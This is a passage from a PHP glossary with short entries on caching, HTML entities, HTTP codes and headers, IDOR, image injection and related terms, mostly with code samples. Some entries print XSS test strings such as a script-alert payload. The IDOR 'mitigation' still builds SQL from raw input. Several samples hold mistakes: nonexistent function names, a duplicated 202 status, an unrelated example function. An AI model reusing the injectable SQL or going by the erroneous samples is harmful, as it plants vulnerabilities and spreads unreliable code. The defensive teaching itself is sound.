if (!array_key_exists($key, $this->items)) {
return null; // miss: this key isn't hot, or was never cached
}
$value = $this->items[$key];
unset($this->items[$key]);
$this->items[$key] = $value; // re-insert last: now the hottest entry
return $value;
}
public function set(string $key, mixed $value): void
{
unset($this->items[$key]);
$this->items[$key] = $value;
if (count($this->items) > $this->capacity) {
$coldestKey = array_key_first($this->items);
unset($this->items[$coldestKey]); // evict the least-recently-used entry
}
}
}
$cache = new LruCache(capacity: 2);
$cache->set('user:1', 'Alice');
$cache->set('user:2', 'Bob');
$cache->get('user:1'); // touched: now the hottest entry
$cache->set('user:3', 'Carol'); // capacity exceeded: evicts 'user:2', the coldest entry
?>
See Also
Related
- Cache
- Cold Cache
- Cache Warming
- Cache Stampede
- Time To Live (TTL)
- Memoization
- APCu
- Redis
- Latency
- Performance
- Stale-While-Revalidate
Related packages
hrtime()
hrtime() is a native PHP function and an PIE extension. As a function, hrtime() returns the high precision time of the system.
HRT represents an acronym of High Resolution Time.
The time is of high precision, but counted from an arbitrary point of time: the value of this function is in calculating differences between two hrtime() calls, rather than the obtained value.
hrtime() is a modern replacement for microtime().
<?php
$timeStart = hrtime(true);
// Sleep some time
usleep(100);
$timeEnd = hrtime(true);
$time = $timeEnd - $timeStart;
echo "Slept for $time micro-seconds\n";
?>
See Also
Related
.htaccess
The .htaccess file is a configuration file used in web servers that support the Apache HTTP Server software. It allows the configuration of various aspects of how your web server operates and how it serves web content. The name htaccess stands for hypertext access, and the file is often referred to as an htaccess file.
See Also
Related
HTML Entities
HTML entities are a way to write special characters. For example, the superior and inferior characters have a special meaning in HTML. To be able to display them correctly, it is recommended to use the following writing: > and <.
This protection is extended to many characters. They have a numerical entity, such as &38; and a literal entity, such as &, for the ampersand.
Such entities are typical of HTML. They are different in different languages.
PHP uses htmlentities() and html_entities_decode() to convert those characters from and to their entities.
HTML entities are useful in the HTML code, but they are confusing in a text file, which has no special entity.
See Also
Related
HTML Entity
HTML entities are special character sequences, that represents a single character. Such representation is not needed for simple characters, such as the Latin alphabet. On the other hand, they are needed for unusual characters, in particular when the encoding cannot be guaranteed to support it.
They are also needed to display characters, which have a special meaning, such as double quote ", or the greater > and lesser signs <.
HTML entities makes the source code longer, and harder to read.
HTML entities may have a letter representation, while they always have a numeric representation. For example, the ampersand may be written \& and \&.
PHP has functions to decode and encode: htmlentities() and htmlentities_decode(), htmlspecialchars() and htmlspecialchars_decode(). The get_html_translation_table() provides the full list of supported entities.
<?php
echo htmlentities('&'); // &
print htmlentities_decode('<A>'); // <A>
?>
See Also
Related
HyperText Markup Language (HTML)
HyperText Markup Language, or HTML is the standard language used to create and structure content on the web.
HTML defines the structure of the page. It is completed by CSS, for styling, and Javascript, for behavior.
<?php
// PHP outputing HTML code
echo '<p>'. nl2br('Hello,
world').'</p>';
?>
See Also
Related
- Javascript
- CSS
- htmlentities()
- Hyper Text Transfer Protocol (HTTP)
- Template
- World Wide Web (WWW)
- Search Engine Optimization (SEO)
- sitemap
- Scalable Vector Graphics (SVG)
- Web Hypertext Application Technology Working Group (WHATWG)
- Anchor
- Document Object Model (DOM)
- HTML Entity
- Link
- World Wide Web Consortium (W3C)
html_entity_decode
html_entity_decode() is a built-in PHP function that converts HTML entities back to their corresponding characters. It is the inverse of htmlentities().
It is used when HTML-encoded content must be processed as plain text, for example before storing in a database, sending in an email, or comparing strings.
A common security mistake is calling html_entity_decode() on user-supplied input and then outputting the result in HTML, which can reintroduce XSS vulnerabilities that were previously neutralized. The decode step should only happen when the output context is not HTML.
The flags parameter controls which quotes are decoded: ENT_QUOTES decodes both double and single quotes. The encoding parameter should be set explicitly to avoid unexpected behavior with multi-byte encodings.
<?php
$html = '<b>Hello & welcome</b>';
// Converts entities back to characters
echo html_entity_decode($html, ENT_QUOTES, 'UTF-8');
// Output: <b>Hello & welcome</b>
// Dangerous: decoding then re-outputting in HTML context re-opens XSS
$userInput = '<script>alert(1)</script>';
echo html_entity_decode($userInput); // outputs <script>alert(1)</script>
// Inverse: htmlentities encodes all applicable characters
$plain = '<b>Café & Co</b>';
echo htmlentities($plain, ENT_QUOTES, 'UTF-8');
?>
See Also
Related
html_errors
When html_errors is enabled, the error message includes HTML tags, to be included in HTML pages.
The error message includes links to the official documentation.
By default, this directive is activated.
See Also
Related
htmlentities()
htmlentities() is a native PHP function which converts special characters in a string to their equivalent in HTML.
htmlentities() takes the string to be encoded, as an argument. It also accepts an argument $encoding to specify what the original encoding of the string is, in particular when it is not utf-8, which is the default configuration.
There are options to control which characters shall be encoded: for example, single and double quotes may be converted or not, with ENT_QUOTES and ENT_NOQUOTES, respectively.
Finally, $double_encode makes htmlentities() skip encoding a second time any entities already set in the string.
The opposite of htmlentities() is html_entity_decode().
<?php
$str = "A 'quote' is <b>bold</b>";
echo htmlentities($str);
echo "\n\n";
echo htmlentities($str, ENT_COMPAT);
?>
See Also
Related
HTMLPurifier
HTMLPurifier is a standards-compliant PHP library that filters user-submitted HTML against a whitelist of allowed tags and attributes, so that the result is safe to store and display.
Unlike a blunt tool such as strip_tags(), or a fully-escaping function such as htmlspecialchars(), HTMLPurifier actually parses the markup, so legitimate formatting, such as bold text, paragraphs, or links, survives, while dangerous constructs, such as <script> tags, inline event handler attributes like onclick, and javascript: URLs, are stripped out. It also repairs malformed HTML so the output is well-formed.
HTMLPurifier is typically used once, when untrusted rich-text content, such as a comment or a WYSIWYG editor submission, is first accepted, so that the sanitized version, not the raw input, is the one stored and later re-displayed.
<?php
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$dirty = '<p>Hello <script>alert(1)</script><b>world</b></p>';
$clean = $purifier->purify($dirty);
// '<p>Hello <b>world</b></p>'
?>
See Also
Related
Related packages
htmlspecialchars
htmlspecialchars() is a built-in PHP function that converts special characters to their HTML entity equivalents.
It is commonly used to prevent Cross-Site Scripting, XSS, attacks when outputting user-supplied data in HTML. The characters it converts include &, ", ', < and >.
The flags parameter controls which quotes are converted: ENT_QUOTES converts both double and single quotes, which is recommended when outputting values in HTML attributes. Omitting quote handling is a classic source of XSS vulnerabilities.
htmlspecialchars() has an inverse function called htmlspecialchars_decode(), and a more exhaustive variant called htmlentities(), which converts all applicable characters.
<?php
$userInput = '<script>alert("XSS")</script>';
// Safe output: converts < > " & to HTML entities
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Dangerous: missing ENT_QUOTES leaves single quotes unescaped
echo htmlspecialchars($userInput, ENT_COMPAT, 'UTF-8');
// Reverse the conversion
$html = '<b>Hello</b>';
echo htmlspecialchars_decode($html, ENT_QUOTES);
?>
See Also
Related
HTTP/3
HTTP/3 is the third major version of the HTTP protocol. Unlike HTTP/1.1 and HTTP/2, which run over TCP, HTTP/3 runs over QUIC, a transport protocol built on top of UDP.
By moving to QUIC, HTTP/3 removes the TCP-level head-of-line blocking that still affects HTTP/2: a lost packet only stalls the stream it belongs to, not every request multiplexed on the connection. HTTP/3 also inherits QUIC’s built-in TLS 1.3 encryption, 0-RTT connection resumption, and connection migration, which is a connection can survive a client switching networks. Header compression is handled by QPACK, an adaptation of HTTP/2’s HPACK designed to tolerate QUIC’s out-of-order stream delivery.
PHP does not natively supports HTTP/3; it depends on a QUIC-capable extension or client library, and on the underlying TLS stack, with OpenSSL 3.5+, exposing the QUIC APIs the extension needs.
See Also
Related
- QUIC
- Hyper Text Transfer Protocol (HTTP)
- Hyper Text Transfer Protocol Secure (HTTPS)
- Application-Layer Protocol Negotiation (ALPN)
- Transport Layer Security (TLS)
HTTP Code
HTTP status codes are three-digit numeric codes that are returned by web servers to indicate the outcome of a client’s request to a server. These codes are a part of the HTTP standard and provide information about the status of the request and the server’s response. HTTP status codes are grouped into different ranges, each with a specific meaning.
Here are some of the most common HTTP status codes and their general meanings:
1xx Informational:
100 Continue: the server has received the request headers and the client should proceed to send the request body.
101 Switching Protocols: the server is switching protocols according to the client's request.
102 Processing: the server has received the request and is processing it, but no response is available yet.
103 Early Hints: this status code is used to return some response headers before final HTTP message.
2xx Successful:
200 OK: the request was successful, and the server has returned the requested resource.
201 Created: the request was successful, and a new resource was created as a result.
202 Accepted: the request has been accepted for processing, but the processing has not been completed.
202 Non-Authoritative Information: the server is a transforming proxy, such as a Web accelerator, that received a 200 OK from its origin, but is returning a modified version of the origin's response.
204 No Content: the server has successfully processed the request, but there is no content to send in the response.
3xx Redirection:
301 Moved Permanently: the requested resource has been permanently moved to a new location.
302 Found: the requested resource has been temporarily moved to a different location.
303 See Other: the requested resource has been temporarily moved to a different location.
304 Not Modified: the client's cached version of the resource is still valid; no content is returned.
4xx Client Error:
400 Bad Request: the request from the client was malformed or invalid.
401 Unauthorized: authentication is required, and the client needs to provide valid credentials.
402 Payment Required: reserved for future use.
403 Forbidden: the client does not have permission to access the requested resource.
404 Not Found: the requested resource was not found on the server.
405 Method Not Allowed: a request method is not supported for the requested resource.
5xx Server Error:
500 Internal Server Error: the server encountered an error while processing the request.
501 Not Implemented: the server either does not recognize the request method, or it lacks the ability to fulfil the request.
502 Bad Gateway: the server, while acting as a gateway or proxy, received an invalid response from an upstream server.
503 Service Unavailable: the server is currently unable to handle the request due to temporary overloading or maintenance of the server.
504 Gateway Timeout: the server, while acting as a gateway or proxy, did not receive a timely response from an upstream server.
505 HTTP Version Not Supported: the server does not support the HTTP version used in the request.
See Also
Related
- Hyper Text Transfer Protocol (HTTP)
- Response
- HTTP Request Headers
- REST API
- Redirect
- Authorization Header
- Content-Type Header
- Malformed Response Body
- Retry-After Header
HTTP Encoding
URL encoding, also known as percent-encoding, is a mechanism used to convert characters into a format that can be transmitted over the Internet. URLs can only contain a limited set of characters, consisting mainly of alphanumeric characters along with a few special characters such as hyphens, underscores, periods, and tilde ~.
When a URL contains characters outside this set, such as spaces or non-alphanumeric characters like ampersands, question marks, or slashes, URL encoding is used to represent those characters in a safe and compatible format.
URL encoding works by replacing each non-alphanumeric character with a percent sign % followed by two hexadecimal digits that represent the ASCII or Unicode code of the character. For example:
- Space
' 'is encoded as %20. - Ampersand
&is encoded as %26. - Question mark
?is encoded as %3F. - Slash
/is encoded as %2F.
URL encoding ensures that URLs remain valid and functional across different systems and protocols. It is commonly used in web browsers, HTTP requests, and other internet-related technologies to transmit data safely and reliably. Most programming languages provide built-in functions or libraries to perform URL encoding and decoding operations.
PHP provides urlencode() and urldecode() to handle coding and decoding this format.
<?php
$text = "This is the Euro symbol €.";
// builds a valid URL
$url = 'https://www.example.com/'.urlencode($text);
// https://www.example.com/This+is+the+Euro+symbol+%27%E2%82%AC%27.
?>
See Also
Related
HTTP Headers
HTTP headers are extra information, exchanged between the server and the client, to configure further the network transaction.
They are separated from the content, which usually represents the HTML page, or the binary code of the image, archive.
HTTP headers have a name, and a value. They are made of ASCII text, and separated by a colon :
HTTP headers are the same with HTTPS.
HTTP headers are handled by the following functions: headers_sent(), headers_list(), header(), header_remove(), header_register_callback().
<?php
function trumpet($a, $b) {
return $a - $b;
}
?>
See Also
- RFC 4229 : HTTP Header Field Registrations
- HTTP headers list
- PHP - simple way to send HTTP headers before a script ends
Related
- Hyper Text Transfer Protocol (HTTP)
- Hyper Text Transfer Protocol Secure (HTTPS)
- PHP Handlers
- Headers
- HTTP Request Headers
- HTTP Method
- Payload
- Replay
- Time To Live (TTL)
- Webhook
- Authorization Header
- Bearer Token
- Content Delivery Network (CDN)
- Content-Type Header
- CRLF Injection
- Content Security Policy (CSP)
- Retry-After Header
HTTP Request Headers
HTTP request headers are sent by the client to the server at the start of an HTTP request. They carry metadata about the client, the requested resource, and the desired response format.
Request headers are available in the $_SERVER superglobal with the HTTP_ prefix, e.g., $_SERVER['HTTP_ACCEPT'], or through getallheaders() for the full list.
Common request headers include Accept, Authorization, Content-Type, User-Agent, and Cookie.
<?php
// Read a specific request header
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
// Read all request headers
$requestHeaders = getallheaders();
foreach ($requestHeaders as $name => $value) {
echo "$name: $value", PHP_EOL;
}
?>
See Also
Related
- HTTP Headers
- Hyper Text Transfer Protocol (HTTP)
- Headers
- $_SERVER
- HTTP Code
- Redirect
- Search Engine Optimization (SEO)
HTTP Method
An HTTP method, also called an HTTP verb, defines the intended action of an HTTP request. The most common methods are GET, POST, PUT, PATCH, DELETE, HEAD, and OPTIONS.
Methods differ in their safety and idempotency guarantees. A method is safe if it does not modify server state, such as GET, HEAD, OPTIONS. A method is idempotent if repeating it produces the same result as a single call GET, HEAD, PUT, DELETE. POST and PATCH are neither safe nor guaranteed idempotent by the specification, which is why APIs that use them for state-changing operations often implement explicit idempotency mechanisms such as idempotency keys.
The request method is available via $_SERVER['REQUEST_METHOD'] or through framework helpers.
<?php
$method = $_SERVER['REQUEST_METHOD']; // GET, POST, PUT, PATCH, DELETE ...
?>
See Also
Related
Hyper Text Transfer Protocol (HTTP)
The Hypertext Transfer Protocol, or http, is an application layer protocol in the Internet protocol.
It is also a wrapper for network communication, allowing it to be used directly with functions such as file_get_contents().
HTTP is related to HTTPS, the secure version of HTTP.
See Also
Related
- HyperText Markup Language (HTML)
- Hyper Text Transfer Protocol Secure (HTTPS)
- HTTP/3
- Wrapper
- Protocol
- HTTP Headers
- Cookie
- php://input
- php://output
- Query
- Headers
- HTTP Request Headers
- Network
- Web Application
- Web Hypertext Application Technology Working Group (WHATWG)
- AJAX
- Asset
- Domain Name
- HTTP Code
- parse_url()
- Redirect
- HTTP Method
- Payload
- Retry
- Webhook
- file_get_contents()
http_build_query()
The http_build_query() native function is used to generate a URL-encoded query string from an associative array or an object. This is commonly used to build query strings for HTTP GET requests or for use in URLs.
http_build_query() converts automatically backed enumerations to their type value, integer or string, when they are used as values in the array. This is a PHP 8.4 feature.
http_build_query() provides arguments to deal with numeric keys, a prefix may be added, with custom separators and encoding type.
The reverse function for http_build_query() is parse_str(), which converts a query string into an array.
<?php
enum A: int {
case A = 1;
}
print http_build_query(['x' => A::A, 'b' => 3]);
// x=1&b=3
?>
See Also
Related
- Enumeration (enum)
- Backed Enum
- parse_str()
- Anchor
- parse_url()
- Separator
- Universal Resource Locator (URL)
Hyper Text Transfer Protocol Secure (HTTPS)
Hypertext Transfer Protocol Secure, or HTTPS, is an extension of the Hypertext Transfer Protocol, HTTP. It is used for secure communication over a computer network, and is widely used on the Internet.
<?php
headers('https://www.exakat.io/');
?>
See Also
Related
- Hyper Text Transfer Protocol (HTTP)
- HTTP/3
- Application-Layer Protocol Negotiation (ALPN)
- Wrapper
- Protocol
- HTTP Headers
Hydratation
To hydrate is to fill an object with data coming from an unstructured format, before using it. This happens when reading data from a database, a dataset, or from the incoming superglobals.
Hydration is quite repetitive, as the source data must be mapped to the corresponding property. Validation may also play a part in that operation.
See Also
Related
Related packages
Hygienic Macro
A hygienic macro system is one in which macro expansions cannot accidentally capture or shadow variables from the calling scope. In a non-hygienic macro system, such as C preprocessor macros, a macro that introduces a temporary variable risks clashing with a variable of the same name in the code that invokes it. Hygienic macros, pioneered in Scheme’s syntax-rules and later adopted by Rust’s macro_rules!, solve this by tracking the lexical scope of every identifier introduced by the macro, renaming variables as needed during expansion so that caller and macro identifiers remain isolated.
Other languages with hygienic or near-hygienic macro systems include Racket, Elixir with defmacro with quoted ASTs, Julia with @macro with hygiene by default, and Nim and its macro statements.
PHP has no macro system of any kind, hygienic or otherwise. PHP source code is parsed and executed directly; there is no macro-expansion phase. The closest available mechanisms are:
eval(): executes a string as PHP code, but operates at runtime on already-parsed text; no variable hygiene is guaranteed.- Token-level preprocessing: tools such as
yay, a PHP macro preprocessor, run before the PHP parser and perform textual or token-level substitutions, but provide no hygiene guarantees. nikic/php-parser: allows full AST rewriting via a userland visitor, enabling macro-like transformations with explicit scope tracking that the author must implement manually.- Functions passed by reference: the most common PHP idiom for
swap-style macros is a plain function with¶meters, which requires an explicit call rather than inline expansion.
<?php
// PHP has no inline macros. Functions are the closest alternative,
// but they carry call overhead and cannot expand inline in the caller's scope.
// A swap macro in Rust would expand inline with no variable-capture risk:
// let (x, y) = (y, x); // generated hygienically by the macro
//
// In PHP the only option is a function with reference parameters:
function swap(mixed &$a, mixed &$b): void {
[$a, $b] = [$b, $a];
}
$trunk = 1;
$tusk = 2;
swap($trunk, $tusk);
echo "$trunk $tusk"; // 2 1
// Token-level macro preprocessing (yay library, run before PHP parses the file):
// macro {swap(·a, ·b)} >> {[·a, ·b] = [·b, ·a];}
// This expands textually: no hygiene: a local variable named $a in the macro
// definition could collide with a caller variable also named $a.
?>
See Also
Related
Related packages
hypot()
hypot() is a PHP native function, that computes the length of the hypotenuse on a right triangle, given the length of the two other sides.
hypot() is the same as calculating sqrt(pow($a, 2) + pow($b, 2)) or sqrt($a ** 2 + $b ** 2). It is also the length of a segment from the origin to a point of coordinates ($a, $b).
<?php
$x = 3;
$y = 4;
var_dump(hypot($x, $y));
?>
See Also
Related
IaaS
IaaS, Infrastructure as a Service, is a cloud-computing model in which a provider supplies virtualized computing resources, such as servers, storage, and networking, over the internet, on demand and billed by usage.
Unlike PaaS or SaaS, IaaS gives the consumer control over the operating system, runtime, and application stack. The provider manages physical hardware and hypervisors; the consumer manages everything above.
PHP applications hosted on IaaS run on virtual machines or bare-metal instances managed by the team. Common IaaS providers include AWS EC2, Google Compute Engine, and Azure Virtual Machines. Automation tools such as Ansible, Terraform, or Chef are typically used to provision and configure the PHP runtime, web server, and database on top of the raw infrastructure.
<?php
// Interacting with IaaS resources via an SDK — AWS example
use Aws\Ec2\Ec2Client;
$client = new Ec2Client([
'region' => 'eu-west-1',
'version' => 'latest',
]);
// List running instances
$result = $client->describeInstances([
'Filters' => [['Name' => 'instance-state-name', 'Values' => ['running']]],
]);
foreach ($result['Reservations'] as $reservation) {
foreach ($reservation['Instances'] as $instance) {
echo $instance['InstanceId'] . PHP_EOL;
}
}
?>
Related
Related packages
Infrastructure as Code (IaC)
Infrastructure as Code, aka IaC, is the practice of managing and provisioning infrastructure through machine-readable configuration files rather than manual processes or interactive configuration tools.
Tools such as Terraform, Ansible, Pulumi, and AWS CloudFormation are commonly used for IaC. PHP applications deployed with IaC benefit from reproducible, version-controlled environments.
PHP developers typically use IaC to define server configurations, container orchestration, and cloud resource provisioning for their applications.
See Also
Related
Iconv
iconv is a PHP extension that stands for Internationalized CONVersion. It provides functionality to convert strings between different character encodings, making it useful for dealing with multilingual and internationalized applications.
The iconv extension allows to convert strings from one character encoding to another, and it also supports transliteration and character set detection. This is particularly important when dealing with data that may come from different sources with various character encodings.
iconv is both a PHP function, a PHP extension and an independent library for character encoding conversion, also known as libiconv.
<?php
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
// TRANSLIT : This is the Euro symbol 'EUR'.
?>
See Also
Related
Related packages
Integrated Environment of Development (IDE)
An IDE is a development tools which thrive to gather all needed tools in one place to allow for a full development experience.
- Syntax Highlighting
- Code Completion
- Snippets & Templates
- Refactoring Tools
- Multiple Cursors/Selections
- Static Code Analysis
- Debugging
- PHPDoc Support
- Framework Awareness
- Project Navigation
- Version Control
- Database Tools
- Composer & Dependency Management
- Remote Development
- Linters & Formatters
- Code Review Tools
- Testing Support
- Performance Profiling
- Plugin Ecosystem
- Custom Themes & Keymaps
- Multi-Language Support
IDE are often compared to editor, which focus on reactivity and a more limited set of features, and AI editors, where the AI handles management of the complementary tools.
Related
Idempotent
Idempotent is said of an operation, which always yields the same result after the first call. In other words, repeating the operation does not produce a different result beyond the initial application.
This is the case of strtolower() and strtoupper(): once the string has been made lower case, resp. upper case, calling the same function again on the string will not change the result.
In distributed systems and HTTP APIs, idempotency is enforced through an idempotency key: a unique identifier, typically a UUID, supplied by the client with each request. The server stores the outcome of the first request under that key and returns the cached result for any subsequent request carrying the same key, preventing duplicate side-effects such as double payments or duplicate record creation.
<?php
$string = aBC;
$string1 = strtolower($string); // abc
$string2 = strtolower($string2); // abc
$string3 = strtolower($string3); // abc
$string4 = strtolower($string4); // abc
// ...
?>
See Also
Related
- strtolower()
- Determinism
- Useless
- Deduplication
- Universally Unique IDentifier (UUID)
- Unique Identifier
- Fingerprint
- HTTP Method
- Replay
- Retry
- Time To Live (TTL)
- Webhook
- Compensation Logic
- Correlation ID
- Source Of Truth
- Worker
Identical Operator
Identical is the state of two variables, which contain the same data, with the same type. It is the same as equality, without the type-juggling.
Identical operators are ===, !==. The match() command also uses identical comparisons.
<?php
var_dump(0 == "0000"); // true
var_dump(0 === "0"); // false
var_dump(0 === 0); // true
?>
See Also
Related
Identification
Identification refers to the process of recognizing who the user is, usually by having them provide a unique identifier.
Identification is closely related, but distinct from authentication, which is the proof that the identified user is who he claims to be.
See Also
Related
Identifier
An identifier is simply a name used to identify a function, class, enum, interface, trait, method, constant, or class constant.
Identifiers are subject to certain rules, depending on their usage: for example, xor may be used as a name for a method, but not for a global constant.
Identifiers are mentioned in syntax errors, where a string is used while the parser expected another kind of token.
Identifiers are relative to the current namespace. They may be created by creating one of the supporting structure, such as function, global constant… Their features are related to absolute names, such as \A, and relative names, such as B\C, not shown here.
In the illustration, A is an identifier for a global constant: it is valid. B should most probably be a variable, and yields an error.
<?php
// A is a valid identifier
foreach(A as $b) {}
?>
See Also
Related
Identity Comparison
The identity comparison === compares two values, using their respective types, and then, their value. Both must be identical to pass.
There is also the !== operator, for distinct values: either the type, or the value.
<?php
var_dump(1 === 1); // true
var_dump(1 === true); // false
var_dump(1 == true); // true
?>
See Also
Related
Identity
Identity has several related but distinct meanings:
- Identity comparison: a stricter way to compare two things, that includes types and avoid type-juggling. The other comparison is equality.
- Identity function: the function that returns its only argument, without any modification. It is a base for null pattern, and is useful when a callable is required, but should be a no operation
- Object identity: two variables refer to the same object in memory. This is tested with the
===operator on objects, or withspl_object_id(). Two objects may be equal in value but not identical in identity - User identity: the set of attributes that uniquely identify a user or entity in a system: username, email, unique ID. Identity is established by identification and verified by authentication
- Domain identity: in Domain-Driven Design, an entity is defined by its identity rather than its attributes. Two
Userobjects with the same$idare the same entity even if other properties differ, while twoMoneyvalue objects with the same amount are equal without having an identity
PHP applications manage identity through unique IDs, session tokens, and authentication tokens such as JWT.
<?php
$a = new stdClass();
$b = $a; // same identity
$c = clone $a; // different identity, same values
var_dump($a === $b); // true — same identity
var_dump($a === $c); // false — different identity
echo spl_object_id($a); // unique integer ID for $a
?>
See Also
- Identity vs Equality in PHP
- DDD: Entities vs Value Objects
- A Comprehensive Analysis of PHP Equality (==) and Identity (===) Operators
Related
- Identification
- Authentication
- Identity Comparison
- Equal Operator
- JSON Web Token (JWT)
- Universally Unique IDentifier (UUID)
- Object
- Clone
- Domain Design Driven (DDD)
- Callables
- Functions
- Noop
Idiomatic
Idiomatic code follows the conventions and constructs that are natural to a specific language, rather than code that merely compiles or runs correctly. Idiomatic PHP favors the features and patterns that the language and its ecosystem consider normal, readable and maintainable, over literal translations of patterns from other languages.
Writing idiomatic PHP means picking the tool the language actually offers for a given problem: a foreach loop instead of manual index bookkeeping, ?? instead of isset() ternaries, typed properties instead of ad-hoc docblocks. Non-idiomatic code often signals that the author is more familiar with another language, or that the codebase has not kept up with the evolution of PHP.
A short list of idiomatic PHP features:
foreachto iterate arrays andTraversable, rather than indexedforloops;- Null coalescing operator
??and null coalescing assignment??=, rather thanisset()combined with a ternary; - Nullsafe operator
?->to chain calls on a possibly null object; - Arrow functions
fn() => ...for short closures that capture the outer scope implicitly; - Spread operator
...to unpack arrays into arguments, and variadic parameters to collect them; - Named arguments to make call sites self-documenting and to skip optional parameters;
- Typed properties, constructor property promotion and readonly properties, rather than untyped properties documented only in a docblock;
- Enums, rather than class constants used to emulate a closed set of values;
- Match expressions, rather than
switchwith fallthrough or repeatedbreak; - Interfaces and first-class callable syntax, rather than string or array callables;
- Exceptions for error handling, rather than mixed return values or error codes;
- PSR autoloading and Composer, rather than manual
require/includechains.
What counts as idiomatic changes with each PHP version: a construct that was idiomatic in version 5 may be superseded once a more direct language feature is introduced.
<?php
// Not idiomatic: manual index, isset()+ternary, switch with breaks
for ($i = 0; $i < count($users); $i++) {
$user = $users[$i];
$name = isset($user['name']) ? $user['name'] : 'Anonymous';
switch ($user['role']) {
case 'admin':
$label = 'Administrator';
break;
case 'editor':
$label = 'Editor';
break;
default:
$label = 'Guest';
}
}
// Idiomatic PHP: foreach, ??, match
foreach ($users as $user) {
$name = $user['name'] ?? 'Anonymous';
$label = match ($user['role']) {
'admin' => 'Administrator',
'editor' => 'Editor',
default => 'Guest',
};
}
?>
See Also
Related
- Best Practices
- Coding Conventions
- Convention
- Readable
- Match
- Coalesce Operator
- Arrow Functions
- Object Nullsafe Operator ?->
- Named Parameters
- Enumeration (enum)
Insecure Direct Object Reference (IDOR)
An Insecure Direct Object Reference, or IDOR, is a vulnerability where an application exposes a direct reference to an internal object, such as a database id, a filename, or a primary key, and lets a user access that object without checking whether they are actually authorized to do so.
IDOR is typically exploited by tampering with an identifier in a URL, form field, or API payload, and substituting it with another value: if the application trusts the identifier without an authorization check, the attacker reaches data or actions that belong to someone else.
Mitigations include enforcing an authorization check on every request that references an object, and using indirect, unpredictable references, such as UUID or per-user mapping tables, instead of sequential ids.
<?php
// IDOR: any authenticated user may fetch any invoice, just by changing the id
$id = $_GET['invoice_id'];
$invoice = $db->query("SELECT * FROM invoices WHERE id = $id");
// Mitigation: also verify ownership of the requested object
$invoice = $db->query("SELECT * FROM invoices WHERE id = $id AND user_id = " . $currentUser->id);
?>
See Also
- What Are Insecure Direct Object References
- Insecure Direct Object Reference Prevention Cheat Sheet
- IDOR Vulnerability in WordPress: 7 Proven Ways to Fix It
Related
- Authorize
- Broken Object Level Authorization (BOLA)
- Vulnerability
- SQL Injection
- OWASP
- Broken Access Control
- Indirect Reference Map
If Then Else
A if-then-else command branches the execution based on a condition. When the condition is true, the first branch, called then is executed. When the condition is false, the second branch, called else, is executed.
If-then structures may be chained with the elseif keyword. The else branch is then a new if-then structure, with a second condition.
<?php
$number = rand(0, 10);
if ($number % 2 === 0) {
print "$number is even\n";
} else {
print "$number is odd\n";
}
?>
See Also
Related
- Switch
- Match
- Ternary Operator
- Coalesce Operator
- Arm
- Branch
- Jump
- Conditional Structures
- Control Flow
- Simple Switch
- Iffectation
Iffectation
An iffectation is both an assignation and a condition at the same time.
Whether an assignation should be used as a condition is debated. It makes the code less readable, as the assignation is hidden in the if condition.
It also saves some extra lines of code, when the condition applies to something that will immediately be used.
<?php
if ($trunk = trumpet()) { }
// same, without the iffectation
$trunk = trumpet();
if ($trunk) { }
?>
See Also
Related
Ignored Catch
catch does not check that the caught exception exists. It simply checks that the raised exception match the class name, its parent or its interface. When a typo happens in the class name or the class does not exists, the clause fails every time.
<?php
try {
callSomeMethod();
} catch (\UndefinedException $e) {
die('This never happens');
} catch (\Exception) {
// process the error here
}
?>
Related
Image Injection
Image injection is a class of attack where malicious content is embedded inside a file that is presented or processed as an image. The attack exploits the fact that parsers and browsers use different heuristics to determine a file’s type, and that image processing libraries sometimes execute embedded code.
Common image injection scenarios include:
- Polyglot files: a file that is simultaneously a valid image and a valid script, written in HTML, PHP,
SVG, etc. When such a file is saved with a.jpgextension and later served or included, the server or browser may execute the embedded payload SVGinjection:SVGfiles are XML and may contain<script>elements. Displaying attacker-suppliedSVGinline triggers cross-site scripting- Metadata injection:
EXIFdata embedded in a JPEG can contain PHP code that is executed if the application passes the raw file toeval()orinclude()
Mitigation strategies include:
- Re-encoding uploaded images with GD or
Imagickto strip embedded payloads - Validating MIME type server-side with
getimagesize()orfinfo - Storing uploads outside the document root and serving through a controller
- Disabling
SVGupload or sanitisingSVGcontent.
<?php
// Re-encoding strips EXIF and any embedded code
function sanitizeImage(string $path): bool {
$info = getimagesize($path);
if ($info === false) {
return false;
}
[$width, $height, $type] = $info;
$src = match ($type) {
IMAGETYPE_JPEG => imagecreatefromjpeg($path),
IMAGETYPE_PNG => imagecreatefrompng($path),
IMAGETYPE_GIF => imagecreatefromgif($path),
default => false,
};
if ($src === false) {
return false;
}
imagejpeg($src, $path, 90);
imagedestroy($src);
return true;
}
?>
See Also
- Image File Upload Security — OWASP Cheat Sheet
- Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there !
Related
- Image
- Injection
- Scalable Vector Graphics (SVG)
- Cross Site Scripting (XSS)
- File Upload
- Security
- HTML Escaping
- LDAP Injection
- SQL Injection
Image
Images may be different things.
- A visual representation. PHP has several extensions to handle images:
imagick,gd - A Docker image: a pre-packaged snapshot of an application and everything it needs to run.
See Also
Related
- JPEG
- Portable Network Graphics (PNG)
- Graphics Interchange Format (GIF)
- Scalable Vector Graphics (SVG)
- Docker
- Docker Image
- Docker Container
- Image Injection
- Lossless
- Lossy
- Steganography
imagick
imagick is the native PHP extension to create and modify images using the ImageMagick library.
imagick is also known by the name Image Magick. It is able to convert between various formats, to edit, combine and optimize images.
<?php
$imagick = new Imagick($imagePath);
$imagick->resizeImage($width, $height, Imagick::FILTER_TRIANGLE , 0);
$width = $imagick->getImageWidth();
$height = $imagick->getImageHeight();
$newWidth = $width / 2;
$newHeight = $height / 2;
// crop image to half the middle of the image
$imagick->cropimage(
$newWidth,
$newHeight,
($width - $newWidth) / 2,
($height - $newHeight) / 2
);
// resize the picture to bigger size (4 times)
$imagick->scaleimage(
$imagick->getImageWidth() * 4,
$imagick->getImageHeight() * 4
);
// write the image to disk
$imagick->writeImage($imagePath.'.2');
?>
See Also
Related
ImagickException
The ImagickException exception is thrown when an error happens while processing an Imagick operation. Any of the Imagick functions may throw that exception.
<?php
try {
$imagick->gammaImage($correction, \Imagick::CHANNEL_ALL);
} catch (\ImagickException $e) {
throw new RuntimeException('Failed to apply gamma correction to the image');
}
?>
See Also
Related
ImagickPixelException
